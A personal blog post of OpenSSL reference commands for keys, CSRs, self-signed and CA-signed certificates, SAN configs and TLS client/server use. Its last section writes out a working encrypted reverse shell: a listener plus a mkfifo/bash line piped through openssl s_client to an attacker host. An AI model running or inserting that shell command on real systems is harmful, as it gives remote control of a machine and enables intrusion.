OpenSSL is one of those applications that I use so often, but rarely do I ever recall what I’m supposed to do from memory. I’m always looking it up or eventually copying down some of the more frequent uses I have with it in my OneNote document. So here it is on my site, some quick one-off commands with OpenSSL.

Generate a Server Key

To generate a server key (used in AES/RSA), use the following commands, and keep this key secure!

$ openssl genrsa -out mykey.key 2048

I’ve heard that while a 4096-bit key is significantly more secure, it is also more CPU intensive to decrypt, so while dealing with TLS certificates the general consensus is to use 2048 since it is “good enough” to the point where computational power these days can’t feasibly brute force the key in a reasonable amount of time, and it doesn’t slow down the connection time for the client like 4096-bits would. But still, YMMV.

Now keep it secure:

$ chmod 600 mykey.key

Generate a Certificate Sign Request

To get an official certificate, you need to generate a CSR which is to be signed by the trusted third party. Usually you pay a company to do this. You can do it yourself, but you’re basically telling everyone that you’re super trustworthy and no one should ever doubt you. And come on, you remember that time in Tijuana, don’t you? We do.

$ openssl req -new -key mykey.key -out mycert.csr

You’ll then be prompted for a bunch of metadata about the certificate. Make sure you don’t put anything too damning in the file and you’ll be alright. You should also use a challenge password as well I guess, but that’s up to you.

Self-signing a CSR without a pre-existing key

You should never do this in any sort of production environment. It trains users to accept fraudulent certificates generated by just about anybody, but sometimes you need to have some sort of cert there so at least data isn’t transmitted in the clear, so here’s how to sign a CSR. NOTE: This creates the key AND the signed certificate.

$ openssl req -newkey rsa:2048 -nodes -keyout mydomain.key -x509 -days 365 -out mydomain.crt

This will prompt you for all the metadata about the certificate as mentioned in generating a CSR.

Self-signing a CSR WITH a pre-existing key

To do the above with a key that you’ve already generated, use the following command:

$ openssl req -key mykey.key -new -x509 -days 365 -out mycert.crt

Sign a Certificate Sign Request with a global CA key

If you have the global CA key and want to legitimately sign a CSR, you can use this command:

$ openssl x509 -req -in mycert.csr -CA ca.cert.pem -CAkey ca.key.pem -CAcreateserial -out mycert.crt -days 365 -sha512

View the metadata of a Certificate or CSR

You can view the metadata of a certificate or CSR (such as the expiration date of the certificate or anything else about it) with the following:

$ openssl x509 -in mycert.crt -noout -text

Additionally, for a CSR you can use:

$ openssl req -text -noout -verify -in mycert.csr

Create a CSR with Subject Altnernate Names

This requires a little more work, and hopefully there’s a better one-liner way to do it, but until I found that out, the first thing you should do is create a file called san.cnf:

distinguished_name = req_distinguished_name
req_extensions = v3_req
prompt = no
C = US
ST = California
L = Sacremento
O = Widgets, Inc
OU = Accounting
CN =
keyUsage = keyEncipherment, dataEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
DNS.1 =
DNS.2 =
DNS.3 =

Obviously fill out the above with more appropriate data to your needs, then run the following to generate both the private key and the CSR file:

$ openssl req -out widgets.csr -newkey rsa:2048 -nodes -keyout private.key -config san.cnf

Don’t forget to chmod 600 private.key afterwards!

Create a CSR with a SAN without Generating a Key

Slightly different than the above.

$ openssl req -out widgets.csr -new -key private.key -config san.cnf

Connect to TLS-encrypted Service

Is a service listening on some port that’s encrypted but you want to send raw data to it? You can use OpenSSL’s client application to connect to it as you would using netcat or telnet, only it handles the encryption overhead so you can communicate with the server on a raw level!

$ openssl s_client -connect <RHOST>:<RPORT>

Upon connecting, you should see the TLS overhead of the handshake stuff until ultimately the connection is finally made. You can suppress that with the -quiet flag.

Create TLS-encrypted listener

Similarly, you can start a listener that is encrypted using openssl as well:

$ openssl s_server -key mykey.key -cert mycert.crt -port 9090

You can add the -quiet flag here as well.

OpenSSL-based reverse shell

For the crafty hacker, you can encrypt the shell across the wire using openssl as well.

  1. First, generate the key on your local box:
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    # hit enter for default until key is generated
  2. Then, start the listener:
    $ openssl s_server -quiet -key key.pem -cert cert.pem -port 9090
  3. Now on the remote server, execute the following:
    $ mkfifo /tmp/a; /bin/bash -I 2>&1 </tmp/a | openssl s_client -quiet -connect <LHOST>:9090 >/tmp/a;rm /tmp/a

OpenSSL is really handy to know!

This post is licensed under CC BY 4.0 by the author.